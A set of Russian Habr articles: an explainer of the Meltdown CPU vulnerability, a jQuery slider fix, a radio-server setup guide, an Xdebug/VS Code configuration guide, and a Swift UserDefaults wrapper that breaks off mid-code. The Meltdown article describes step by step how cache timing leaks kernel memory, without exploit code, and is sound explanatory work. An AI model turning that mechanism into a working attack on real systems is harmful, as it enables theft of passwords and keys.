До сих пор вся система обеспечения информационной безопасности на локальном компьютере в основе своей полагалась на одну предпосылку: центральный процессор способен гарантированно обеспечить полную изоляцию выполняющихся на нём программ друг от друга, поэтому при условии отсутствия ошибок в ПО различные процессы не имеют доступа к данным друга друга, если такой доступ не был предоставлен в явном виде.
Уберите эту предпосылку — и всё остальное рушится, как карточный домик.
Конкретно в архитектуре x86 защищённый режим был представлен в процессорах 80286 и доведён до ума в 80386. При работе в нём приложения вместо прямого доступа к физической памяти получают виртуальные адресные пространства, отображаемые на физическую память так, что пространства разных приложений не пересекаются. Контроль за адресными пространствами реализован аппаратно — блоком MMU, Memory Management Unit — поэтому, если при запуске нового процесса ОС корректно выделила ему память, попытка вылезти за пределы этой памяти будет немедленно пресечена процессором. Кроме того, участки памяти могут иметь разные уровни доступа, контроль за которыми также осуществляет MMU — в результате пользовательское приложение не сможет получить доступ к памяти, занимаемой ядром системы или драйверами, даже если соответствующие адреса формально ему доступны.
Всё было хорошо, пока не выяснилось, что *сам процессор* в ходе отработки своих внутренних алгоритмов может целенаправленно игнорировать MMU, а результаты работы этих алгоритмов могут быть косвенными путями получены программно.
Все современные процессоры — если мы говорим конкретно про Intel x86, то это модели начиная с Atom 2013-го года, Pentium Pro и Pentium II — имеют функции спекулятивного выполнения инструкций и предсказания ветвлений, а также кэши инструкций и данных.
Эти алгоритмы необходимы для обеспечения высокой производительности всей системы при условии, что все имеющиеся периферийные устройства, включая оперативную память, значительно медленнее центрального процессора. В случае, когда очередная выполняемая инструкция приводит к необходимости ожидания поступления данных снаружи, в течение периода ожидания процессор вместо простаивания начинает выполнять следующий за данной инструкцией код, исходя из ожиданий о том, какие именно данные с наибольшей вероятностью поступят.
Например:
```
if (x < array1_size)
{
y = array1[x]
}
```
При последовательном выполнении этого кода процессор сначала проверяет, что переменная *x* находится в пределах массива array1, а потом выполняет вторую строку. При спекулятивном выполнении после какого-то количества if'ов, в которых действительно x < array1\_size, процессор начинает считать, что данное условие *с высокой вероятностью выполняется*. поэтому начинает выполнение второй строки, *не дожидаясь вычисления условия*.
Что случается, если результат вычисления условия вдруг оказывается негативным? Процессор просто отбрасывает все предварительно вычисленные результаты и проводит вычисления заново, на этот раз уже последовательно. Одновременно модуль предсказания ветвлений снижает оценку вероятности того, что данное условие будет выполняться.
Что случается, если переменная *x* оказывается расположенной не просто за пределами конкретного массива, а вообще за пределами доступной данному процессу памяти? *Процессор всё равно выполняет вторую строку кода*. Дело в том, что на работу модуля MMU, в задачу которого входит определение, разрешено ли вообще данному процессу что-то читать по адресу *x*, также нужно время, поэтому механизм спекулятивного выполнения относится к MMU ровно тем же образом, как и к внешним шинам — он начинает выполнение до того, как из MMU поступит ответ о корректности этого кода.
Если MMU сообщает, что код некорректен, в эту память нельзя — процессор просто сбрасывает всё насчитанное.
Длина «забегания вперёд» у современных процессоров легко может составлять десятки инструкций.
На этой стадии всё пока ещё хорошо. Программа не знает о том, что происходит внутри процессора, если спекулятивное выполнение было самим процессором признано неудачным — его результаты ни одним из формальных путей в приложение не попадают (они не сохраняются ни в ОЗУ, ни в регистрах процессора). Всё, что можно зафиксировать снаружи — небольшую просадку темпа выполнения инструкций в момент, когда процессор понял, что кусок кода надо выполнить заново, и сбросил уже посчитанный результат и загруженные на конвейер команды (кто помнит дискуссии вокруг производительности Pentium 4, земля ему пухом, — там как раз был очень длинный конвейер, сброс которого обходился, соответственно, довольно дорого).
Но у процессора есть ещё один блок, и этот блок работает полностью самостоятельно — это кэш. В кэш ложатся все данные, прошедшие через процессор. Кэш, повторюсь, совершенно автономен — он не знает и не хочет знать, почему и как эти данные в него свалились, были ли они загружены в результате спекулятивного или последовательного выполнения, было ли спекулятивное выполнение признано корректным или нет. Данные пришли — данные легли в кэш.
То есть, если в рамках спекулятивного выполнения команд случится следующая последовательность:
1. Прочитано значение по адресу в памяти N
2. Получен ответ от MMU о невалидности данного адреса в контексте данного процесса
3. Результаты чтения адреса сброшены из регистров процессора
То в кэше спокойно останется лежать значение, хранящее по адресу N.
Но и этого ещё мало, так как кэш — это внутреняя сущность процессора, ПО не может напрямую его читать. Однако, если ПО *снова* обратится по адресу N, то по скорости ответа процессора оно сможет определить, хранится ли соответствующее значение в кэше (быстрый ответ) или нет (медленный ответ).
И вот тут мы подбираемся к интересной части: ПО всё ещё не может напрямую прочитать некий адрес N, находящийся за пределами его доступа, но уже может определить, читался ли этот адрес *кем-либо* ранее.
Но ведь наше ПО по-прежнему не может в открытую читать адрес N, не так ли? Так. Но тут всё уже совсем просто: у современных процессоров есть процедуры косвенной адресации, указывающие, что процессор должен прочитать значение X, лежащее по адресу Y, а потом — значение Z, лежащее по только что прочитанному X. Ну да, работа с указателями.
Представьте, что у нас есть доступная приложению область памяти, поделённая на два куска с разными приоритетами — у одного приоритет собственно приложения, у другого приоритет ядра. Так ~~делают~~ до позавчерашнего дня делали по умолчанию, чтобы приложению не приходилось далеко ходить за системными вызовами, уходящими в ядро — дёрнуть что-то из того же куска виртуальной памяти намного быстрее, чем ходить каждый раз в другой кусок, а приоритеты решают проблему запрета приложению на прямой доступ к этому куску.
И, допустим, приложению в этом куске доступны адреса 0...9999, а ядру — 10000...20000, цифры тут неважны. И мы делаем конструкцию, расположенную в коде так, что процессор заведомо выполнит её в спекулятивном режиме (например, на тысячном повторении одного и того же цикла, 999 предыдущих повторений которого выполнялись корректно), и которая будет представлять собой косвенную адресацию по значению, лежащему по адресу 15000.
1. Процессор в спекулятивном режиме читает значение по адресу 15000. Пусть там будет лежать, например, 98.
2. Процессор читает значение, лежащее по адресу 98.
3. От MMU приходит ответ о невалидности адреса 15000.
4. Процессор сбрасывает конвейер и вместо значения, лежащего по адресу 98, выдаёт нам ошибку.
5. Наше приложение начинает читать адреса от 0 и выше в собственном адресном пространстве (имеет полное право), замеряя время, требующееся на чтение каждого адреса, и читая их не по порядку, чтобы не натренировать тот же спекулятивный доступ
6. На адресе 98 время доступа вдруг оказывается в несколько раз ниже, чем на других адресах
Таким образом мы понимаем, что кто-то уже недавно читал что-то по этому адресу, в результате чего он попал в кэш. Кто бы это мог быть? Ах, да, это наш дорогой процессор. По адресу 15000, соответственно, лежит значение 98.
Таким образом мы можем прочитать всю память ядра системы, на которую, в свою очередь, в современных ОС отображается вообще вся физическая память компьютера.
Это называется **Meltdown** (CVE-2017-5754), и эта уязвимость полностью перечёркивает все имеющиеся в процессоре защитные механизмы.
#### Кто подвержен Meltdown?
Как минимум все процессоры Intel линейки Core, все процессоры Intel линейки Xeon, все процессоры Intel линеек Celeron и Pentium на ядрах семейства Core.
Также подвержены уязвимости процессоры на ядрах ARM Cortex-A75, на которых, однако, пока что не выпущено каких-либо конечных устройств, а первый процессор — Qualcomm Snapdragon 845 на ядре Kryo 385, основанном на Cortex-A75 и Cortex-A53 — объявлен только месяц назад. Скорее всего, Kryo 385 также будет уязвим к Meltdown.
Согласно заявлению Apple, «все iOS-устройства» подвержены Meltdown. Это, очевидно, не может относиться к вообще всем когда-либо использовавшимся в iPhone/iPad процессорам (в конце концов, какой-нибудь iPhone 4 использует стандартное ядро Cortex-A8), но ARM-процессоры в *современных моделях* iPhone и iPad можно считать уязвимыми.
#### Кто не подвержен Meltdown?
Здесь чуть вопрос сложнее, поэтому сначала переформулируем его так: на данный момент не удалось — и, возможно, не удастся никогда — показать уязвимость Meltdown на процессорах AMD и ARM Cortex, отличных от перечисленных выше.
В оригинальной работе, публично открывающей подробности Meltdown, указывается, что на этих процессорах также были замечены изменения состояния кэша в результате спекулятивного выполнения инструкций, однако полезные данные получить не удалось.
Возможно, логика работы данных процессоров такова, что практическая реализация уязвимости на них невозможна вообще — например, MMU успевает прервать спекулятивное выполнение до того, как процессор прочитает *вторую* ячейку памяти; в этом случае в кэше окажется значение первой ячейки (лежащей в недоступной нам области), что не позволит эксплуатировать уязвимость.
Кроме того, ARM заявляет об уязвимости ядер Cortex-A15, Cortex-A57 и Cortex-A72 — формально компания относит эту уязвимости к Meltdown, называя оригинальный Meltdown «Variant 3», а обнаруженный в данных ядрах — «Variant 3a»
На этих ядрах сделано довольно много процессоров, например, Samsung Exynos 5 и Exynos 7 (смартфоны Galaxy S5, Galaxy S6, Galaxy Note с 3 по 7), Qualcomm Snapdragon 650, 652, 653, 808 и 810, Mediatek Helio X20.
К счастью, «Variant 3a», хотя и аналогичен «взрослому» Meltdown по причинам, сильно слабее по эффекту — он позволяет атакующему украсть содержимое не произвольных областей памяти, а лишь отдельных системных регистров процессора, пусть формально и недоступных на том уровне привилегий, который есть у атакующего.
Это позволяет облегчённо выдохнуть и считать данные три ядра и все сделанные на них смартфоны фактически атаке не подверженными.
#### Про кого мы не знаем, подвержен ли он Meltdown?
Есть масса процессоров, которые ещё толком никто не проверял — как минимум потому, что «оглушающий успех» Intel затмил всех остальных. С хорошей вероятностью не подвержен MIPS. Про более маргинальные архитектуры сказать ничего нельзя, и, вероятно, до них ещё долго никто не доберётся.
Если вас интересуют отечественные процессоры, то у Эльбруса своя архитектура, Байкал-Т1 построен на ядре MIPS P5600, Элвис — тоже на MIPS. С большой вероятностью они не подвержены Meltdown, хотя пока что в открытом виде информации об этом нет. Байкал-М построен на ядре Cortex-A57 и, соответственно, подвержен Meltdown.
Наконец, неизвестен статус кастомизированных ARM-ядер — это, например, Samsung Mongoose (серия процессоров Exynos 8, смартфоны Galaxy S7, Galaxy S8, Galaxy Note 8), Qualcomm Krait и Kryo 2xx, HiSilicon Kirin и прочих — но с большой вероятностью они в значительной степени похожи на своих ровесников из стандартной линейки.
#### Можно ли защититься от Meltdown программно?
Да. Meltdown эксплуатирует игнорирование процессором уровней доступа к памяти, но не позволяет читать память, находящуюся за пределами выделенного приложению виртуального блока.
Для всех распространённых ОС уже вышли или готовятся выйти патчи, переносящие область памяти ядра в другую облась, т.е. обеспечивающие защиту не только выставлением привилегий, но и контролем доступа по адресам — второе Meltdown обойти не может.
Проблема в том, что при такой архитектуре системные вызовы (syscalls) становятся крайне накладными — они замедляются в несколько раз. Соответственно, реальные приложения также теряют в производительности, в зависимости от доли системных вызовов в конкретном приложении падение может составить от 1-2 до нескольких десятков процентов. Например, на PostgreSQL продемонстрировано падение более 20 %, в то время как в игрушках разницы практически нет.
Кроме того, при подобном переключении страниц памяти принудительно сбрасывается TLB, Translation Lookaside Buffer — это кэш трансляций между виртуальной памятью и физической, когда меняется блок виртуальной памяти, он с очевидностью становится невалидным. В свежих процессорах Intel есть так называемый PCID, идентификатор процесса, который позволяет не сбрасывать весь TLB разом, а определить, к какому процессу какая запись имеет отношение. Использование PCID (он должен поддерживаться и ОС, и процессором) снижает потери на переключение между двумя кусками памяти, но не устраняет их полностью.
Меньше всего угроза для игр и иных пользовательских десктопных приложений, так как они мало используют системные вызовы — в абсолютном большинстве из них падение производительности не превысит 3 %, что можно считать погрешностью измерений. Впрочем, всегда могут быть исключения в лице отдельных приложений.
По этой причине данное поведение в ОС, скорее всего, будут включать только на процессорах, про которые известно, что они подвержены уязвимости. Тут тоже могут быть нюансы: например, в свежих патчах для ядра Linux есть не чёрный список уязвимых, а белый список неуязвимых, и в него пока входят только AMD.
#### Когда не нужно защищаться от Meltdown?
Meltdown относится к сугубо локальным атакам и подразумевает выполнение кода на вашем компьютере. Если никакой посторонний код, включая высокоуровневые языки, проникнуть на конкретный компьютер не может, Meltdown не опасен.
При этом не надо забывать, что Javascript в браузере — это тоже локально выполняющийся код. Разработчики браузеров сейчас предпринимают усилия (по состоянию на 4 января Firefox 57.0.4 уже вышел, соответствующая версия Chrome ожидается до конца месяца) по снижению эффективности использования JS для подобных атак, например, сознательно загрубляют доступные таймеры так, чтобы JS-код не смог достоверно измерить время доступа к памяти, но эти меры лишь снизят эффективность атак, но не исключат их полностью.
Если у вас стоит домашний сервер, который доступен только по сети, а софт на него вы устанавливаете исключительно из репозитария вашего любимого дистрибутива, то опасность для него будет заключаться только в сочетании Meltdown с каким-либо классическим эксплоитом, позволяющим подсадить вам «жучка» удалённо. Для атакующего удобство Meltdown будет заключаться в том, что с ним «жучку» не обязательно иметь какие-либо конкретные привилегии на атакуемой системе, достаточно запуститься на ней любым образом. С другой стороны, Meltdown позволяет только читать память, но не изменять её или выполнять какой-либо код. С третьей стороны, так как до недавних пор память считалась сравнительно безопасным местом временного хранения данных, то все ваши пароли и сертификаты лежат в ней в открытом виде.
Поэтому лучше поставьте патч сразу, как только он будет доступен для вашей ОС.
Несколько печальна может оказаться ситуация со смартфонами на Android, половина производителей которых известно в какого цвета тапочках видела все эти обновления — но, с другой стороны, у ARM подвержены Meltdown только новые старшие ядра, в то время как большинство неподдерживаемого ширпотреба сделано на старых и/или упрощённых ядрах.
#### Покажите мне, как вы с этим рутовый доступ получите!
Самое бессмысленное требование в дискуссиях о Meltdown. Уязвимости процессора не требуют обращения к верхнеуровневым абстракциям операционной системы — они даже не обходят их, они их просто не замечают.
В этом и есть самая большая опасность эксплоита Meltdown — он никак не взаимодействует с операционной системой, а значит, не только практически не зависит от неё, но и не оставляет в ней никаких следов.
#### Смогут ли антивирусы определять эксплуатирующее Meltdown ПО?
В общем случае — нет. В частном — они смогут определять ПО, про которое иными путями стало известно об эксплуатации им уязвимости, но в самом коде ничего однозначно нелегитимного нет, так что попытка эвристического определения может привести к большому количеству ложноположительных срабатываний.
#### Придумало ли Meltdown ЦРУ или KGB?
Нет, им не надо. Если они очень захотят заложить в ваш процессор закладку — они вежливо попросят производителя добавить какой-нибудь специализированный модуль, по типу JTAG, который спокойно позволит кому положено читать что ему надо напрямую. Сложность современных ядер такова, что этот модуль никто вообще никогда не заметит, а если и заметит, то у него прошивка всё едино будет в зашифрованном виде «для обеспечения безопасности наших пользователей».
#### Сделала ли Intel это специально, чтобы мы купили новые процессоры?
Разумеется, нет. Во-первых, глупо предполагать, что Intel запланировала это за двадцать лет до реального использования и в надежде, что никто раньше не обнаружит случайно. Во-вторых, цикл проектирования и выпуска нового процессора — не меньше пары лет (что неплохо видно по выпуску железа на лицензируемых ядрах, будь то ARM или MIPS; в случае AMD или Intel мы не знаем, когда реально было закончено проектирование ядра, а видим только работу маркетингового отдела, по которой создаётся впечатление, что там всех дел на полгодика — тут, как говорится, «хорошо вам, товарищ политрук, рот закрыл — рабочее место убрано»). В-третьих, кстати, про ARM, на примере которого видно, что уязвимость может появиться в ядрах процессоров в любой момент, в том числе в новейших топовых моделях — говоря проще, до сих пор никто не задумывался о функционировании связки из MMU, кэша и предсказания ветвлений как о потенциально уязвимой области, а выбирал их алгоритмы, исходя из иных предпосылок. В-четвёртых, трудно представить удара по Intel больнее, чем *быстрый* выпуск линейки исправленных процессоров: влияние этого на продажи моделей, которыми уже завалены склады, представляете?
Так что готовьтесь к тому, что 9-е поколение Intel Core будет иметь ту же уязвимость в полном объёме и полном составе.
Хотя многие действительно рано или поздно задумаются о новом процессоре. Подозреваю, в AMD сейчас по этому поводу второй раз за неделю фейерверки и шампанское.
#### Компания заявила, что к обеду выпустит патч, который всё исправит
Коротко: вот когда выпустит — тогда и посмотрим.
В данный момент во всех компаниях, хоть как-то причастных к теме, из окон PR-отделов валит дым, а заявивших что-то кроме «к обеду мы всё исправим» просто молча выводят в коридор и расстреливают за углом. Последнее, что нужно всей индустрии, от производителей процессоров до владельцев датацентров — это паника среди их клиентов.
В результате абсолютное большинство заявлений всех компаний, последовавших после раскрытия подробностей Meltdown, отличаются предельной неконкретностью и отсутствием хотя бы минимальных деталей о том, что именно и как именно будет ими исправлено к обеду.
Смысла читать эти заявления, а тем более, фразы в стиле «это проблема легко исправляется внесением небольших программных изменений» в данный момент нет никакого, если в них далее не идёт перечень изменений с указанием, куда именно они вносятся. Просто вспоминайте старую истину про то, что хороший пиарщик никогда не врёт — он просто не говорит всей правды, а закавыченную фразу легко продолжить тезисом «… во все используемые на ваших компьютерах программы, драйверы и ОС», что несколько изменит её смысл.
#### TL:DR
Полная жопа, самая эпическая дыра за последние двадцать лет, но заплатка на ОС проблему устраняет полностью, пусть и ценой некоторой потери производительности. Владельцы AMD могут пока не волноваться.
#### А что там со Spectre?
Сейчас напишу отдельным текстом, ибо тема Spectre ещё обширнее.
[Часть вторая: Spectre](https://geektimes.ru/post/297031/)
[Часть третья: хорошо ли мы себя вели](https://geektimes.ru/post/297065/) | https://habr.com/ru/post/371153/ | null | ru | null |
# Маленький фикс для coda-slider
Здравствуйте. Проблема в том, что на данный момент в плагине coda-slider нет добавления класса для текущей панели. У него есть возможность добавлять текущий класс к динамическим вкладка, если они включены в настройках. Но, мне понадобилось добавлять текущий класс именно к элементам, которые прокручиваются слайдером.
Для этого нужно написать одну маленькую функцию, внутри самого плагина:
> `return this.each(function(){
>
>
>
> // Uncomment the line below to test your preloader
>
> // alert("Testing preloader");
>
>
>
> var slider = $(this);
>
>
>
> // to add current class to current panel
>
> slider.setCurrentPanel = function() {
>
> $('.panel', slider).removeClass('current');
>
> $('.panel:eq(' + (currentPanel-1) + ')', slider).addClass('current');
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
После этого нам остается только вставить вызов функии в тех местах где меняется переменная currentPanel (строки 83, 99, 119, 226)
> `slider.setCurrentPanel();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вот уже измененный файл. Надеюсь кому то пригодиться. [slider](http://alt.site90.com/coda-slider/jquery.coda-slider-2.0.zip) | https://habr.com/ru/post/93737/ | null | ru | null |
# Как собрать радио для коллег без единого разрыва
Привет, Хабр! Вот уже почти 5 из 10 лет я совмещаю работу сетевиком с любимым хобби — [подкастом](https://t.me/linkmeup_podcast) про ИТ. За это время наш сервер для аудиотрансляций развивался, менялся и оказался полезен не только нам, но и коллегам. Недавно я *правильно* клонировал нашу сборку на базе Linux для радио ЦОД.fm в DataLine и решил поделиться своими наработками со всем сообществом.
Сегодня покажу, из чего я собирал новогоднее радио для создания праздничного настроения перед онлайн-корпоративом.
Для начала определимся с задачами
---------------------------------
Чтобы радио радовало коллег качеством звука, стоит учесть несколько компонентов для разных задач:
* сам сервер трансляции, с которого будем раздавать аудиопоток;
* интерфейс для ведущих и гостей: распределенное вещание сегодня новая норма, участники шоу должны подключаться из разных мест без лагов и бубна;
* инструменты для обработки звука: выравнивания громкости из разных источников, удаления шумов и наложения фоновой музыки на финальный трек;
* служебный канал для бесшумной синхронизации действий во время эфира;
* клиентская часть для подключения слушателей с любого устройства;
* опционально можно добавить доп. фичи для общения со слушателями (чат в Телеграмме).
Кроме того, если вы такой же энтузиаст и собираете радио как pet-project в свободное время, скорее всего, ваш бюджет ограничен. Так что я не буду останавливаться на дорогих проприетарных продуктах для этих задач, а покажу решения на свободно распространяемом и условно-бесплатном ПО.
Сервер трансляции с TeamSpeak’oм и постобработкой
-------------------------------------------------
Свой сервер я собирал на базе Xubuntu 20.04 с lowlatency-ядром. Расскажу, какие компоненты на нем установлены, а потом покажу, как выставляю для них приоритеты.
**OBS для обработки на лету**. Под капотом сервера у меня [Open Broadcaster Software](https://obsproject.com/ru) (OBS). С помощью этого софта можно моментально обрабатывать аудио: поднимать громкость до нужного уровня, добавить компрессию, убрать пики, добавить джинглы и фоновую музыку:
Во время эфира я запускаю джинглы, музыку и голос на микшере в OBS. У OBS есть фильтры, которые можно навесить на каждую аудиодорожку перед ее отправкой в эфир. У меня настроены 5 фильтров в таком порядке:
1. Limiter срезает все пиковые частоты звука, предотвращает клиппинг и перегрузки.
2. Noise Suppression удаляет с дорожки фоновый шум, так как шипящие дорожки нам ни к чему.
3. Усилитель Gain повышает громкость звука до заданного значения.
4. Compressor сглаживает перепады громкости звука, например, если кто-то начинает очень бурную дискуссию или, наоборот, начинает шептать на ушко.
5. В конце еще раз использую Limiter, чтобы убрать возможные пики от фильтра Compressor.
С помощью OBS мы запускаем и тестовые трансляции: стримим все по локальной ссылке, проверяем настройки, — а потом настроенный стрим отправляется по боевому урлу.
**Tigervnc-standalone-server для управления сервером**. Мы подключаемся к серверу любым SSH-клиентом, не забывая про туннелирование порта 5901. Получаем стандартную связку SSH +VNC. Кто не хочет туннелировать SSH, может воспользоваться любым VPN на свой выбор: его можно терминировать непосредственно с сервера или с роутера.
**Virtual Audio Cable (и никакой магии)**, чтобы забирать звук с клиента TeamSpeak в OBS.
**Icecast в связке с nginx и OBS для раздачи**. OBS позволяет одновременно стримить радио в несколько мест, например, наш подкаст параллельно идет на Youtube.
Для раздачи по протоколу https на сервере установлен [Icecast](https://icecast.org/): он принимает потоки голосовых данных от OBS и раздает потоки исходящего трафика на слушателей.
**TeamSpeak для синхронизации действий и записи**. В нашем подкасте мы используем [TeamSpeak](https://www.teamspeak.com/en/) для боевого канала и записи эфира. На сервере установлен TeamSpeak Server и TeamSpeak Client. Ведущие подключаются к TeamSpeak Server с помощью своих клиентов. К серверу через локального клиента подключен podbot — некая немая сущность, которая всегда живет в канале и только слушает. Она нужна, чтобы на сервер приходил стрим от всех остальных, который можно перенаправить в Virtual Audio Cable.
Так выглядит рабочее окружение для ведущего. Справа боевой канал в TeamSpeak, который потом уходит в OBS (слева):
На тестовой трансляции мы используем TeamSpeak как микшер, чтобы выровнять всех гостей:
Во время боевой трансляции звук в служебном канале уже настроенный и ровный, можно записать стрим и потом выложить запись с минимальным редактированием:
Записываем дорожки всех участников. Полезно, когда через TeamSpeak идет продовая трансляция, как это сделано у меня в linkmeup.Чтобы бесшумно синхронизироваться друг с другом по организационным моментам, есть несколько способов. Мы в linkmeup используем чат в TeamSpeak. Создали систему специальных сигналов, наподобие этого:
Также пробовали Zoom, где можно видеть друг друга и обмениваться жестами.
Еще один способ посинкаться — это «шептать» друг другу в служебном канале (за наводку спасибо [@KorDen32](/users/korden32)).
Для этого запрещаем podbot'у слышать «шепот», чтобы в эфир не летело ничего лишнего. Для ведущих делаем небольшую настройку: задаем количество лиц для «перешептывания» и горячие клавиши. Лучше использовать именно сочетание клавиш, чтобы во время печати не нажимать команду в эфире случайно и не «шептать» почем зря.
«Шепот» слышат все пользователи канала Alpha, кроме podbot'a.Для ЦОД.fm я организовал на базе TeamSpeak служебный аудиоканал, где все слышат комментарии друг друга, но не выводят их в эфир. Получилась такая виртуальная студия, в которой редактор эфира решал технические и организационные вопросы с ведущими.
**Настройка nice-приоритетов на сервере.** Я отдаю высший приоритет системным вызовам, затем обрабатываю звук, все остальное потом.
Видим правильные nice-приоритеты — уже половина успеха:
Настраиваем правильные лимиты, чтобы не получить лаги в эфире:
```
sudo vi /etc/security/limits.conf
@audio - rtprio 99
@audio - memlock unlimited
@audio - nice -19
sudo usermod -a -G audio user
```
Отсыплем демону, отвечающему за звук, нужных значений приоритетов:
```
sudo vi /etc/pulse/daemon.conf
high-priority = yes
nice-level = -11
realtime-priority = 9
```
Создадим виртуальные аудиокабели:
```
sudo vi /etc/pulse/default.pa
load-module module-jack-sink sink_name=vlink1 sink_properties=device.description=vlink1
load-module module-jack-sink sink_name=vlink2 sink_properties=device.description=vlink2
load-module module-jack-sink sink_name=vlink3 sink_properties=device.description=vlink3
```
Важные мелочи для пользователей
-------------------------------
Для радио ЦОД.fm я завел отдельное доменное имя, настроил nginx, разобрался с шифрованием трафика и сертификатами. Даже любительскую радиостанцию лучше стримить по защищенному соединению, да и слушатели не будут ругаться на отсутствующий https. Позаботился о проксировании, чтобы сотрудник мог открывать стрим с любого удобного устройства с любым плеером. Но, если что, можно организовать стрим с этими инструментами и в локальной сети.
Для внешнего домена, само собой, стоит настроить [фаервол](https://linkmeup.ru/blog/603.html) и защиту от DDoS. На каждый глобальный IP-адрес я ограничивал количество TCP-соединений до 10. Перед запуском всей системы провел нагрузочное тестирование.
Для наших партнеров и ведущих подготовил инструкцию по запуску сервера и клиентской части: как включать фоновую музыку на OBS и выводить участника в эфир:
Еще можно создать чат радиостанции в вашем любимом мессенджере и принимать там сообщения в эфир, приветы, заявки на музыку и т. д. Тут уже кто как любит.
Будем использовать этот сервер для онлайн-трансляций дружественных подкастов «[Поддатой](https://linktr.ee/poddatoy)», «[Разговоры из-под фальшпола](https://linktr.ee/razgovory_iz_pod_falshpola)» и «[Немного об оружии](https://t.me/ALittleAboutGuns)». | https://habr.com/ru/post/538396/ | null | ru | null |
# Отладка php в Visual Studio Code (Xdebug, Windows)
В некоторых случаях может возникнуть необходимость отладки приложений на php. Visual Studio code предоставляет такую возможность при условии установки дополнительного расширения PHP Debug ([marketplace](https://marketplace.visualstudio.com/items?itemName=felixfbecker.php-debug), [github](https://github.com/felixfbecker/vscode-php-debug)).
Установка PHP Debug
-------------------
Для установки нажмите `Ctrl+p` и введите команду `ext install php-debug`. Нажмите на кнопку «включить», в итоге вы должны увидеть примерно следующее:
Установка и настройка Xdebug
----------------------------
PHP Debug использует для отладки Xdebug. Для настройки Xdebug пройдите по [ссылке](https://xdebug.org/wizard.php). Предполагается, что на локальной машине уже установлен и настроен сервер apache. Здесь и далее действия указаны для Windows. Можно создать файл, например, `test.php` содержащий:
```
php
phpinfo();</code
```
Открыть его в браузере и скопировать содержимое страницы в диалоговое окно. Другой способ:
* `win+R`;
* `cmd` + `Enter`;
* `php -i > phpinfo.text`;
* открыть любым удобным редактором `phpinfo.txt` и все его содержимое вставить в диалоговое окно.
Далее следуйте инструкциям по установке: скачайте `.dll` и не изменяя его имени скопируйте его в указанную папку, дополните файл `php.ini` указанной в руководстве строкой.
Кроме этого, добавьте нижеследующие строки. Итоговое добавление будет примерно таким:
```
[XDebug]
zend_extension = C:\xampp\php\ext\php_xdebug-2.4.1-5.6-vc11.dll
xdebug.remote_enable=1
xdebug.remote_host=127.0.0.2
xdebug.remote_port=9000
xdebug.remote_autostart=on
xdebug.remote_handler=dbgp
xdebug.profiler_enable=1
xdebug.profiler_output_dir="C:\xampp\tmp"
xdebug.remote_log ="C:\xampp\tmp\xdebug.log"
```
Как вы уже, возможно догадались, в данном примере на локальной машине установлен [XAMPP](https://www.apachefriends.org/ru/index.html).
Обратите внимание на строку `xdebug.remote_host=127.0.0.2`. По умолчанию Xdebug "слушает" порт 127.0.0.1. Укажите здесь, адрес отлаживаемого сайта.
Примечание: С версией Xdebug 2.5 и выше Visual Studio code не работает. Поэтому выбирайте соответствующий вашей версии php файл \*.dll.
Настройка Visual Studio code
----------------------------
Вызовите панель отладки (1) и нажмите на иконку с маленькой шестеренкой (2).
В появившемся списке выберите `PHP`. Автоматически сформируется файл `launch.json`.
```
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for XDebug",
"type": "php",
"request": "launch",
"port": 9000
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 9000
}
]
}
```
Настройка PHP Debug на этом окончена.
Отладка php в Visual Studio code
--------------------------------
Откройте в браузере ваше приложение\сайт. Откройте папку с приложением в Visual Studio code. Установите в нужных файлах и строках точки остановки. Откройте панель отладки и выберите для запуска отладки команду `Listen for Xdebug` (1). Нажмите кнопку запуска (2).
Обновите страницу в браузере и наслаждайтесь.
 | https://habr.com/ru/post/310708/ | null | ru | null |
# Swift. UserDefaults. Property wrapper
XcodeВряд ли можно представить хоть одно приложение, которое не требует сохранения настроек пользователя. Очевидно, что для этих целей существует масса решений, и каждое из них решает одну, конкретную задачу. Сегодня речь пойдет о постоянном хранилище данных UserDefaults и его использовании для хранения данных.
Реализация
----------
Выполнив поиск существующих решений на просторах сети интернет были найдены следующие материалы:
1. [Property wrappers in Swift](https://www.swiftbysundell.com/articles/property-wrappers-in-swift/)
2. [Create the Perfect UserDefaults Wrapper Using Property Wrapper](https://swiftsenpai.com/swift/create-the-perfect-userdefaults-wrapper-using-property-wrapper/)
3. [A better approach to writing a UserDefaults Property Wrapper](https://www.jessesquires.com/blog/2021/03/26/a-better-approach-to-writing-a-userdefaults-property-wrapper/)
Однако все они имеют несколько недостатков:
1. Значение не может быть опциональным, вследствие чего требуется указывать значение по-умолчанию
2. Значение не может быть перечислением или OptionSet
3. Все они позволяют сохранить в хранилище неподдерживаемые типы данных, вследствие чего приложение аварийно завершает свою работу
Но если обратиться к первоисточнику и изучить [AppStorage](https://developer.apple.com/documentation/swiftui/appstorage) от [Apple](https://developer.apple.com), то единственный недостаток, присущий уже к данному решению является минимальная версия **iOS 14**, а также зависимость от framework **SwiftUI**.
Ниже предлагается propertyWrapper UserDefault, который лишен всех перечисленных недостатков, в то время как решает поставленную задачу.
```
import SwiftUI
@propertyWrapper
public struct UserDefault: DynamicProperty {
private let get: () -> Value
private let set: (Value) -> Void
public var wrappedValue: Value {
get { get() }
nonmutating set { set(newValue) }
}
}
public extension UserDefault {
init(wrappedValue: Value, \_ key: String, store: UserDefaults = .standard) where Value == Bool {
self.init(defaultValue: wrappedValue, key: key, store: store)
}
init(wrappedValue: Value, \_ key: String, store: UserDefaults = .standard) where Value == Int {
self.init(defaultValue: wrappedValue, key: key, store: store)
}
init(wrappedValue: Value, \_ key: String, store: UserDefaults = .standard) where Value == Double {
self.init(defaultValue: wrappedValue, key: key, store: store)
}
init(wrappedValue: Value, \_ key: String, store: UserDefaults = .standard) where Value == String {
self.init(defaultValue: wrappedValue, key: key, store: store)
}
init(wrappedValue: Value, \_ key: String, store: UserDefaults = .standard) where Value == URL {
self.init(defaultValue: wrappedValue, key: key, store: store)
}
init(wrappedValue: Value, \_ key: String, store: UserDefaults = .standard) where Value == Data {
self.init(defaultValue: wrappedValue, key: key, store: store)
}
private init(defaultValue: Value, key: String, store: UserDefaults) {
get = {
let value = store.value(forKey: key) as? Value
return value ?? defaultValue
}
set = { newValue in
store.set(newValue, forKey: key)
}
}
}
public extension UserDefault where Value: ExpressibleByNilLiteral {
init(\_ key: String, store: UserDefaults = .standard) where Value == Bool? {
self.init(wrappedType: Bool.self, key: key, store: store)
}
init(\_ key: String, store: UserDefaults = .standard) where Value == Int? {
